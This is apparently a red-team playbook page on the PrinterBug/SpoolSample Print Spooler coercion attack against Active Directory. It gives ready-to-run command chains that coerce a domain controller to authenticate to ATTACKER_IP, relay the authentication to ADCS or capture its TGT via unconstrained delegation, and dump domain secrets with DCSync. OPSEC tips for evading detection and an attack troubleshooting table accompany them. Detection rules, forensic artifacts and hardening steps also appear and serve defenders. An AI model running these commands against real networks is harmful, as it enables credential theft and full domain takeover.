attack-42-printerbug-spoolsample.md (22215B)
1 --- 2 title: "Attack #42 β PrinterBug SpoolSample" 3 description: "The PrinterBug (aka SpoolSample) abuses the MS-RPRN (Print System Remote Protocol) RpcRemoteFindFirstPrinterChangeNotificationEx function to coerce aβ¦" 4 category: active-directory 5 subcategory: "Domain Controller Attacks" 6 tags: ["active-directory", "kerberos", "adcs", "delegation", "ntlm"] 7 tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/AD-Attack/Category-Five/π΅ Attack #42 β PrinterBug SpoolSample.md" 11 --- 12 # π΅ Attack #42 β PrinterBug / SpoolSample β Print Spooler Coercion 13 14 *** 15 16 ## π How It Works 17 18 The PrinterBug (aka SpoolSample) abuses the **[MS-RPRN (Print System Remote Protocol)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/)** `RpcRemoteFindFirstPrinterChangeNotificationEx` function to coerce a target machine into authenticating back to an attacker-controlled host. When combined with **Unconstrained Delegation** or **NTLM relay**, this leads to TGT theft or certificate enrollment as the target machine account. 19 20 > [!info]+ Technical Deep-Dive β MS-RPRN Coercion Mechanism 21 > 1. The attacker connects to the target's **Print Spooler RPC endpoint** via the `\pipe\spoolss` named pipe (DCERPC interface UUID `12345678-1234-abcd-ef00-0123456789ab`) 22 > 2. The attacker calls `RpcRemoteFindFirstPrinterChangeNotificationEx` (OpNum 69) β this function is designed to allow a client to register for print job notifications from a remote print server 23 > 3. The function accepts a **notification target** parameter β the attacker specifies their own hostname/IP (e.g., `\\ATTACKER_IP`) 24 > 4. The Print Spooler service on the target attempts to send a notification to the specified host, triggering **NTLM authentication** (or Kerberos if the target resolves to a hostname) 25 > 5. If the attacker is running a listener (Responder, ntlmrelayx, Rubeus), they capture the coerced authentication 26 > 6. *Unlike PetitPotam, the PrinterBug has always required authentication (any domain user) β there was never an unauthenticated variant* 27 > 7. The coerced authentication includes the **machine account's TGT** when sent to a server with Unconstrained Delegation β this is the classic PrinterBug + UD attack 28 29 > [!tip]+ PrinterBug vs PetitPotam β When to Use Which 30 > `fas:Lightbulb` 31 > 1. **PrinterBug**: Requires Print Spooler running; always requires auth; older technique (2018); uses MS-RPRN 32 > 2. **PetitPotam (Attack #41)**: Uses MS-EFSR; was unauthenticated on unpatched DCs; newer (2021); more commonly available 33 > 3. **Use PrinterBug when**: PetitPotam is patched/blocked AND Print Spooler is running; or when targeting Unconstrained Delegation servers 34 > 4. **Use PetitPotam when**: Need unauthenticated coercion (unpatched); or Print Spooler is disabled on the target 35 > 5. *Both achieve the same result β forcing NTLM authentication to an attacker-controlled host; the difference is which RPC protocol triggers it* 36 37 *** 38 39 ## βοΈ Prerequisites 40 41 | Requirement | Detail | 42 |---|---| 43 | **Print Spooler running on target** | Default enabled on servers and DCs (but should be disabled on DCs per best practice) | 44 | **Domain credentials** | Any valid domain user (always requires authentication) | 45 | **Relay target or UD server** | Must be combined with relay (ESC8, LDAP) or Unconstrained Delegation to be useful | 46 | **Network access** | Port 445 (SMB) to target for `\pipe\spoolss` access | 47 48 *** 49 50 ## π οΈ Tools 51 52 | Tool | Platform | Version | Notes | 53 |---|---|---|---| 54 | [printerbug.py](https://github.com/dirkjanm/krbrelayx) | Linux/Python | Python 3 | dirkjanm's coercion script β part of krbrelayx toolkit | 55 | [SpoolSample.exe](https://github.com/leechristensen/SpoolSample) | Windows (.NET) | Latest | Lee Christensen's original C# PoC | 56 | [dementor.py](https://github.com/NotMedic/NetNTLMtoSilverTicket) | Linux/Python | Python 3 | Alternative Python implementation | 57 | [Coercer](https://github.com/p0dalirius/Coercer) | Linux/Python | β₯ 2.0 | Multi-protocol coercion β includes MS-RPRN | 58 | [rpcdump.py](https://github.com/fortra/impacket) | Linux | Impacket β₯ 0.10.0 | Check if Print Spooler RPC is accessible | 59 | [NetExec](https://github.com/Pennyw0rth/NetExec) | Linux | β₯ 1.1.0 | `-M spooler` module β check Spooler status | 60 | [ntlmrelayx.py](https://github.com/fortra/impacket) | Linux | Impacket β₯ 0.10.0 | NTLM relay for ESC8/LDAP chains | 61 | [Rubeus](https://github.com/GhostPack/Rubeus) | Windows (.NET) | β₯ 2.0 | TGT monitor for Unconstrained Delegation attacks | 62 63 *** 64 65 ## β±οΈ Time-to-Execute Estimates 66 67 | Operation | Time | Notes | 68 |---|---|---| 69 | Spooler check (rpcdump/NXC) | **2β5 seconds** | Quick RPC query | 70 | PrinterBug coercion | **2β5 seconds** | Single RPC notification call | 71 | TGT capture (with UD) | **5β15 seconds** | Depends on callback timing | 72 | Full chain (coerce β relay β DCSync) | **30β90 seconds** | Similar to PetitPotam chains | 73 74 *** 75 76 ## π» Full Commands 77 78 ### π΅ Check If Print Spooler Is Running 79 80 ```bash 81 # ββ rpcdump.py β check for Spooler RPC endpoint ββββββββββββββββββββββββββββββ 82 rpcdump.py DC01.corp.local | grep -i spoolsv 83 # If present: "76F03F96-CDFD-44FC-A22C-64950A001209" = Spooler is running 84 85 # ββ Alternative: rpcdump with specific interface UUID βββββββββββββββββββββββββ 86 rpcdump.py DC01.corp.local | grep "12345678-1234-ABCD-EF00-0123456789AB" 87 # MS-RPRN interface UUID β presence confirms Spooler is accessible 88 89 # ββ NetExec spooler module ββββββββββββββββββββββββββββββββββββββββββββββββββββ 90 nxc smb DC01.corp.local -u low_user -p 'Password1' -M spooler 91 # Output: [+] Spooler service enabled or [-] Spooler service disabled 92 93 # ββ Scan entire subnet for Spooler ββββββββββββββββββββββββββββββββββββββββββββ 94 nxc smb 10.10.10.0/24 -u low_user -p 'Password1' -M spooler 95 ``` 96 97 ```powershell 98 # ββ Windows β check Spooler pipe ββββββββββββββββββββββββββββββββββββββββββββββ 99 ls \\DC01.corp.local\pipe\spoolss 100 # If accessible: Spooler is running and pipe is reachable 101 102 # ββ PowerShell β check Spooler service status βββββββββββββββββββββββββββββββββ 103 Get-Service -ComputerName DC01.corp.local -Name Spooler | Select-Object Status 104 ``` 105 106 ### π΄ PrinterBug Coercion 107 108 ```bash 109 # ββ printerbug.py (krbrelayx) ββββββββββββββββββββββββββββββββββββββββββββββββ 110 printerbug.py corp.local/low_user:'Password1'@DC01.corp.local LISTENER_IP 111 112 # ββ With Pass-the-Hash ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 113 printerbug.py corp.local/low_user@DC01.corp.local -hashes :aabbccdd11223344 LISTENER_IP 114 115 # ββ dementor.py (alternative) βββββββββββββββββββββββββββββββββββββββββββββββββ 116 python3 dementor.py -u low_user -p 'Password1' -d corp.local \ 117 LISTENER_IP DC01.corp.local 118 119 # ββ Coercer (multi-protocol β MS-RPRN filter) ββββββββββββββββββββββββββββββββ 120 coercer coerce -u low_user -p 'Password1' -d corp.local \ 121 -l LISTENER_IP -t DC01.corp.local --filter-protocol-name MS-RPRN 122 ``` 123 124 ```powershell 125 # ββ SpoolSample.exe (Windows) βββββββββββββββββββββββββββββββββββββββββββββββββ 126 .\SpoolSample.exe DC01.corp.local LISTENER.corp.local 127 # Coerces DC01 to authenticate to LISTENER.corp.local 128 ``` 129 130 ### π΄ Combined Attacks 131 132 #### PrinterBug + ADCS Relay (ESC8) 133 134 ```bash 135 # ββ Terminal 1: Start NTLM relay to ADCS web enrollment βββββββββββββββββββββ 136 ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \ 137 --adcs --template DomainController -smb2support 138 139 # ββ Terminal 2: Coerce DC via PrinterBug ββββββββββββββββββββββββββββββββββββββ 140 printerbug.py corp.local/low_user:'Password1'@DC01.corp.local ATTACKER_IP 141 142 # ββ Terminal 3: Use the certificate βββββββββββββββββββββββββββββββββββββββββββ 143 certipy auth -pfx DC01.pfx -dc-ip 10.10.10.10 144 export KRB5CCNAME=DC01.ccache 145 secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local -just-dc 146 ``` 147 148 #### PrinterBug + Unconstrained Delegation (TGT Capture) 149 150 ```powershell 151 # ββ Step 1: On compromised UD server β monitor for incoming TGTs ββββββββββββββ 152 .\Rubeus.exe monitor /interval:5 /targetuser:DC01$ /nowrap 153 # Rubeus monitors for TGTs arriving in the LSASS cache 154 ``` 155 156 ```bash 157 # ββ Step 2: From attacker β coerce DC to authenticate to UD server ββββββββββββ 158 printerbug.py corp.local/low_user:'Password1'@DC01.corp.local UD_SERVER.corp.local 159 # DC01 sends a Kerberos TGT to UD_SERVER (because UD servers cache all incoming TGTs) 160 ``` 161 162 ```powershell 163 # ββ Step 3: On UD server β Rubeus captures DC01$'s TGT βββββββββββββββββββββββ 164 # Output: [*] Captured TGT for DC01$@CORP.LOCAL (base64 encoded) 165 166 # ββ Step 4: Import TGT and DCSync βββββββββββββββββββββββββββββββββββββββββββββ 167 .\Rubeus.exe ptt /ticket:<base64_TGT> 168 # Now running as DC01$ β perform DCSync: 169 mimikatz.exe 170 lsadump::dcsync /domain:corp.local /user:krbtgt 171 ``` 172 173 ```bash 174 # ββ Alternative: Use captured TGT from Linux ββββββββββββββββββββββββββββββββββ 175 # Convert the base64 ticket to ccache and use secretsdump: 176 python3 -c "import base64; open('dc01.kirbi','wb').write(base64.b64decode('<base64_TGT>'))" 177 ticketConverter.py dc01.kirbi dc01.ccache 178 export KRB5CCNAME=dc01.ccache 179 secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local -just-dc 180 ``` 181 182 *** 183 184 ## π― OPSEC Tips 185 186 1. **PrinterBug coercion is a single RPC call** β relatively quiet on the network; the Spooler notification callback is normal printer behavior 187 2. **The UD + TGT capture path is stealthier than relay** β no NTLM relay artifacts; just Kerberos ticket caching on the UD server 188 3. **Spooler checks via rpcdump are noisy** β they enumerate all RPC endpoints; use NetExec `-M spooler` for targeted checks 189 4. **Timing matters less than with PetitPotam** β PrinterBug traffic blends well with normal print operations during any time 190 5. **Clean up Rubeus processes** on the UD server after TGT capture β long-running monitors are suspicious 191 6. **Use hostname, not IP, for the listener** when targeting UD β Kerberos authentication (and TGT caching) requires hostname resolution 192 193 ### π OpSec Ranking 194 195 | Method | Stealth | Speed | Reliability | Notes | 196 |---|---|---|---|---| 197 | PrinterBug + UD (TGT capture) | π’ High | π’ Fast | π’ High | No relay artifacts; Kerberos only | 198 | PrinterBug + ESC8 relay | π‘ Medium | π’ Fast | π’ High | NTLM relay generates some logs on CA | 199 | PrinterBug + LDAPS relay | π‘ Medium | π‘ Medium | π‘ Medium | Creates machine account + RBCD entry | 200 | Coercer scan + coerce | π΄ Low | π‘ Medium | π’ High | Scanning is noisy; targeted coercion is fine | 201 202 *** 203 204 ## π‘οΈ Detection β Event IDs 205 206 | Event ID | Source | What to Look For | 207 |---|---|---| 208 | **4624** | Security Log | DC authenticating to unexpected workstation (NTLM or Kerberos Type 3 logon) | 209 | **Sysmon 17/18** | Sysmon | Named pipe `\\pipe\\spoolss` connection from external IP | 210 | **5145** | Security Log | IPC$ share access for `\pipe\spoolss` from non-admin workstation | 211 | **4768** | Security Log (DC) | TGT request from UD server for DC01$ (if UD path used) | 212 213 ### π Sigma Rules 214 215 ```yaml 216 # ββ SigmaHQ β Print Spooler Pipe Access from Non-Print Server ββββββββββββββββ 217 title: Remote Print Spooler Pipe Access (PrinterBug/SpoolSample) 218 id: b3c4d5e6-printerbug-spoolss-access 219 status: experimental 220 logsource: 221 product: windows 222 service: security 223 detection: 224 selection: 225 EventID: 5145 226 ShareName: '\\*\IPC$' 227 RelativeTargetName: 'spoolss' 228 filter_print_servers: 229 IpAddress|startswith: 230 - '10.10.10.20' # Replace with legit print server IPs 231 condition: selection and not filter_print_servers 232 level: medium 233 tags: 234 - attack.credential_access 235 - attack.t1187 236 ``` 237 238 ```yaml 239 # ββ SigmaHQ β DC Authentication to Workstation (Coercion Indicator) ββββββββββ 240 title: Domain Controller Authenticating to Workstation 241 id: a2b3c4d5-dc-auth-to-workstation 242 logsource: 243 product: windows 244 service: security 245 detection: 246 selection: 247 EventID: 4624 248 LogonType: 3 249 TargetUserName|endswith: '$' 250 TargetUserName|contains: 'DC' 251 filter_dc_to_dc: 252 IpAddress|startswith: 253 - '10.10.10.10' # Replace with DC IPs 254 condition: selection and not filter_dc_to_dc 255 level: high 256 ``` 257 258 ### π‘οΈ EDR-Specific Detections 259 260 > [!warning]+ Microsoft Defender for Identity (MDI) 261 > 1. **"Suspected NTLM authentication tampering"** β detects NTLM relay following Spooler-coerced authentication 262 > 2. MDI monitors for DC machine accounts authenticating to non-DC endpoints β a key PrinterBug indicator 263 > 3. *MDI does not specifically detect the PrinterBug RPC call itself β it detects the anomalous NTLM authentication that results from it* 264 265 > [!warning]+ CrowdStrike Falcon 266 > 1. **"Print Spooler Coercion Attack"** β behavioral detection for spoolss pipe manipulation followed by outbound NTLM 267 > 2. Process tree analysis flags SpoolSample.exe and known coercion tool signatures 268 > 3. Network-level detection for outbound NTLM from DC machine accounts 269 270 > [!warning]+ Elastic Security 271 > 1. Rule: **"Print Spooler Named Pipe Access"** β monitors for remote spoolss pipe connections from unusual sources 272 > 2. Rule: **"DC Machine Account Authentication to Non-DC"** β correlates 4624 events with DC machine accounts authenticating to workstations 273 274 *** 275 276 ## π¬ Forensic Artifacts 277 278 | Artifact | Location | Details | 279 |---|---|---| 280 | **Pipe access** | Event 5145 / Sysmon 17/18 | `\pipe\spoolss` access from attacker IP | 281 | **NTLM auth** | Event 4624 on relay target | DC machine account Type 3 logon on attacker machine or relay target | 282 | **TGT cache** (UD path) | UD server LSASS memory | DC01$ TGT cached in the UD server's credential cache β volatile, lost on reboot | 283 | **Rubeus process** (UD path) | Event 4688 / Sysmon 1 | Rubeus.exe execution on UD server with `monitor` command line | 284 | **Certificate enrollment** (ESC8 path) | CA Event Log 4886/4887 | Certificate issued for DC machine account | 285 | **RBCD entry** (LDAPS path) | AD `msDS-AllowedToActOnBehalfOfOtherIdentity` | Delegation configuration artifact | 286 | **Network capture** | PCAP | MS-RPRN `RpcRemoteFindFirstPrinterChangeNotificationEx` call on `\pipe\spoolss` | 287 288 *** 289 290 > [!important]+ Windows Server Version Differences 291 > 1. **Server 2012 R2**: Print Spooler enabled by default; no specific mitigations 292 > 2. **Server 2016**: Print Spooler enabled by default; Microsoft began recommending disabling Spooler on DCs 293 > 3. **Server 2019**: Same as 2016; Print Spooler enabled by default but CIS Benchmarks recommend disabling on DCs 294 > 4. **Server 2022**: Print Spooler still enabled by default; Microsoft's security baseline recommends disabling on DCs 295 > 5. **Server 2025**: Print Spooler **disabled by default on Server Core installations**; still enabled on Desktop Experience β disable manually on DCs 296 > 6. *The PrinterBug has never been "patched" β it uses legitimate Print Spooler functionality; the only mitigation is disabling the Spooler service on servers that don't need it* 297 298 *** 299 300 ## π Hardening & Prevention 301 302 ```powershell 303 # ββ 1. Disable Print Spooler on DCs and sensitive servers βββββββββββββββββββββ 304 Stop-Service -Name Spooler -Force 305 Set-Service -Name Spooler -StartupType Disabled 306 307 # ββ 2. GPO β Disable Print Spooler domain-wide on servers ββββββββββββββββββββ 308 # Computer Configuration β Policies β Windows Settings β Security Settings β 309 # System Services β Print Spooler β Startup Type: Disabled 310 # Apply to OU containing DCs and sensitive servers (NOT workstations that need printing) 311 312 # ββ 3. Block outbound SMB/NTLM from DCs ββββββββββββββββββββββββββββββββββββββ 313 New-NetFirewallRule -DisplayName "Block DC Outbound SMB" ` 314 -Direction Outbound -Protocol TCP -RemotePort 445 ` 315 -RemoteAddress "10.10.10.0/24" -Action Block ` 316 -Profile Domain 317 # β οΈ Whitelist other DC IPs for replication traffic 318 319 # ββ 4. Remove Unconstrained Delegation from servers βββββββββββββββββββββββββββ 320 # Review all servers with UD: 321 Get-ADComputer -Filter { TrustedForDelegation -eq $true } | 322 Select-Object Name, DistinguishedName 323 # Migrate to Constrained Delegation or RBCD where possible 324 325 # ββ 5. Monitor Print Spooler service status on DCs βββββββββββββββββββββββββββ 326 # Create a scheduled task that alerts if Spooler is running on a DC: 327 # Get-Service -Name Spooler | Where-Object { $_.Status -eq 'Running' } 328 329 # ββ 6. Enable EPA on ADCS web enrollment (blocks ESC8 chain) βββββββββββββββββ 330 # Same as PetitPotam hardening β protects against relay regardless of coercion method 331 appcmd.exe set config "Default Web Site/certsrv" ` 332 /section:windowsAuthentication /extendedProtection.tokenChecking:Require 333 ``` 334 335 *** 336 337 ## π§© Troubleshooting 338 339 | Error | Cause | Fix | 340 |---|---|---| 341 | `rpcdump` shows no Spooler interface | Print Spooler service is disabled on target | Target is hardened; try PetitPotam (Attack #41) or other coercion methods via Coercer | 342 | `printerbug.py` returns `ERROR_INVALID_HANDLE` | Spooler is running but connection failed | Try specifying the DC FQDN instead of IP; ensure port 445 is accessible | 343 | Coercion works but no auth received | Target DC can't reach listener IP (firewall) | Verify bidirectional SMB connectivity (port 445); attacker IP must be routable from DC | 344 | UD server doesn't capture TGT | Listener hostname doesn't resolve in DNS | Use a hostname that resolves in AD DNS; Kerberos requires proper name resolution for TGT forwarding | 345 | Rubeus monitor shows no tickets | TGT was received but for wrong SPN/account | Verify the UD server has `TrustedForDelegation = True`; check `/targetuser:DC01$` (with dollar sign) | 346 | `SpoolSample.exe` crashes | .NET version mismatch or missing dependencies | Compile for the target's .NET CLR version; use `printerbug.py` from Linux instead | 347 | ntlmrelayx relay fails after coercion | SMB signing enforced on relay target or EPA enabled | Switch relay target to HTTP (ADCS) which doesn't enforce signing; or use LDAPS if channel binding is off | 348 | Coercion succeeds but TGT is for wrong account | Targeting wrong server or Spooler responding as different service | Verify target is the actual DC (not a print server); check `nslookup` for correct IP resolution | 349 350 *** 351 352 ## πΊοΈ MITRE ATT&CK 353 354 | Tactic | Technique ID | Sub-technique | Procedure | APT Groups | 355 |---|---|---|---|---| 356 | **Credential Access** | [T1187](https://attack.mitre.org/techniques/T1187/) | Forced Authentication | Coerce target machine NTLM/Kerberos authentication via MS-RPRN Print Spooler notification callback | Red team operations; demonstrated by Lee Christensen (SpoolSample, 2018) | 357 | **Credential Access** | [T1557](https://attack.mitre.org/techniques/T1557/) | [.001 β LLMNR/NBT-NS/MDNS](https://attack.mitre.org/techniques/T1557/001/) | Relay coerced NTLM authentication to ADCS, LDAP, or SMB targets | Chained with relay frameworks | 358 | **Privilege Escalation** | [T1558](https://attack.mitre.org/techniques/T1558/) | Steal or Forge Kerberos Tickets | Capture DC's TGT via Unconstrained Delegation after PrinterBug coercion | Advanced red team operations | 359 360 > [!tip]+ Historical Context 361 > `fas:Lightbulb` 362 > 1. The PrinterBug was disclosed by **Lee Christensen (@tifkin_)** at DerbyCon 2018 in the talk "The Unintended Risks of Trusting Active Directory" 363 > 2. It was originally demonstrated as a way to compromise servers with **Unconstrained Delegation** β the "Printer Bug + UD" attack chain 364 > 3. After PetitPotam's discovery in 2021, PrinterBug became the "backup" coercion method when MS-EFSR is patched 365 > 4. *Microsoft considers PrinterBug a "by design" feature of the Print Spooler β it will never be patched; the mitigation is disabling the Spooler* 366 367 *** 368 369 ## π Attack Chain Context 370 371 ``` 372 [PrinterBug] βββ Coerce target authentication via Print Spooler 373 β 374 ββββ π Chains with: Unconstrained Delegation (Attack #15) β TGT capture 375 ββββ π Chains with: ESC8 (Attack #33) β ADCS certificate relay 376 ββββ π Chains with: NTLM relay (Attack #7) β general relay framework 377 ββββ π Related: PetitPotam (Attack #41) β MS-EFSR coercion (similar concept) 378 ββββ π¨οΈ Requires Print Spooler running (disable on DCs to mitigate) 379 ββββ π UD path: coerce DC β capture TGT on UD server β DCSync (Attack #37) 380 ββββ π Defeated by: disable Print Spooler on DCs, block outbound SMB, remove UD 381 ``` 382 383 *** 384 385 > β **Attack #42 β PrinterBug complete.**